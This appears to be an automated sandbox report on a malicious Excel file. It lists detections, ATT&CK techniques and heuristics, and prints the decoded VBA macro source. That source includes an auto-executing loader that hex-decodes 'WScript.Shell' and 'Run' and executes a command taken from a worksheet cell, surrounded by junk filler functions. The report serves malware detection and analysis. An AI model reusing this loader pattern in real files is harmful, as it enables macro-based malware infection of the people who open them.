MALICIOUS
382
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
This Excel file contains heavily obfuscated VBA and XLM macros, including auto-executing Document_Open and Workbook_Open routines. The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' indicates the use of CreateObject and execution sinks, suggesting the macro's purpose is to download and execute a second-stage payload. The presence of the ClamAV detection 'Xls.Malware.Valyria-6700361-0' further confirms its malicious nature, likely delivered via spearphishing.
Heuristics 11
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ClamAV: Xls.Malware.Valyria-6700361-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Valyria-6700361-0
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VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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CallByName call high OLE_VBA_CALLBYNAMECallByName call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://www.iec.chIn document text (OLE body)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 229 bytes |
SHA-256: b07e9b3c0bc67a5abf1f3d5a279d12af20bcec7c89268c78faaa2dc946b3582d |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - MPro ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' Sheet,Reference,Formula,Value |
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macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1939 bytes |
SHA-256: 0f3f04f4939b191b45f3398546510c78432d5afdfa8e0d99cb3b5f8a52cc2e31 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Function WXXDRWFO() As String
Dim WXXDRWFO = aWXXDRWFO
DimssRepl Fep(aWXXDRWFO & vWXXDRWFO, 11))
Dssfffd t(aWXXDRWFO))
dRepl dd(a & vWXXDRWFO
ccxRepl Fep(aWXXDRWFO & vWXXDRWFO, 11))
End Function
Public Sub Document_Open()
Application.Run YZ_("9198A6A0AE")
End Sub
Private Function AFEKZDGQ() As String
Dim AFEKZDGQ = aAFEKZDGQ
DimssRepl Fep(aAFEKZDGQ & vAFEKZDGQ, 11))
Dssfffd t(aAFEKZDGQ))
dRepl dd(a & vAFEKZDGQ
ccxRepl Fep(aAFEKZDGQ & vAFEKZDGQ, 11))
End Function
Public Function YZ_(ByVal ZJ_ As String)
Dim NEJ_ As String
Dim F_ As Long
For F_ = 1 To Len(ZJ_) Step 2
Dim I_ As Long: I_ = CLng(Chr(38) & Chr(72) & Mid(ZJ_, F_, 2))
NEJ_ = NEJ_ & Chr(I_ - 79)
Next
YZ_ = NEJ_
End Function
Private Function YPIUHVFK() As String
Dim YPIUHVFK = aYPIUHVFK
DimssRepl Fep(aYPIUHVFK & vYPIUHVFK, 11))
Dssfffd t(aYPIUHVFK))
dRepl dd(a & vYPIUHVFK
ccxRepl Fep(aYPIUHVFK & vYPIUHVFK, 11))
End Function
Sub Workbook_Open()
BIWQ_
End Sub
Private Function TJAZTJAF() As String
Dim TJAZTJAF = aTJAZTJAF
DimssRepl Fep(aTJAZTJAF & vTJAZTJAF, 11))
Dssfffd t(aTJAZTJAF))
dRepl dd(a & vTJAZTJAF
ccxRepl Fep(aTJAZTJAF & vTJAZTJAF, 11))
End Function
Sub BIWQ_()
CallByName CreateObject(YZ_("A6A2B2C1B8BFC37DA2B7B4BBBB")), YZ_("A1C4BD"), VbMethod, YZ_(ThisWorkbook.Sheets("MProp").Range("J225").Value), 0, True
End Sub
Private Function FPFASIED() As String
Dim FPFASIED = aFPFASIED
DimssRepl Fep(aFPFASIED & vFPFASIED, 11))
Dssfffd t(aFPFASIED))
dRepl dd(a & vFPFASIED
ccxRepl Fep(aFPFASIED & vFPFASIED, 11))
End Function
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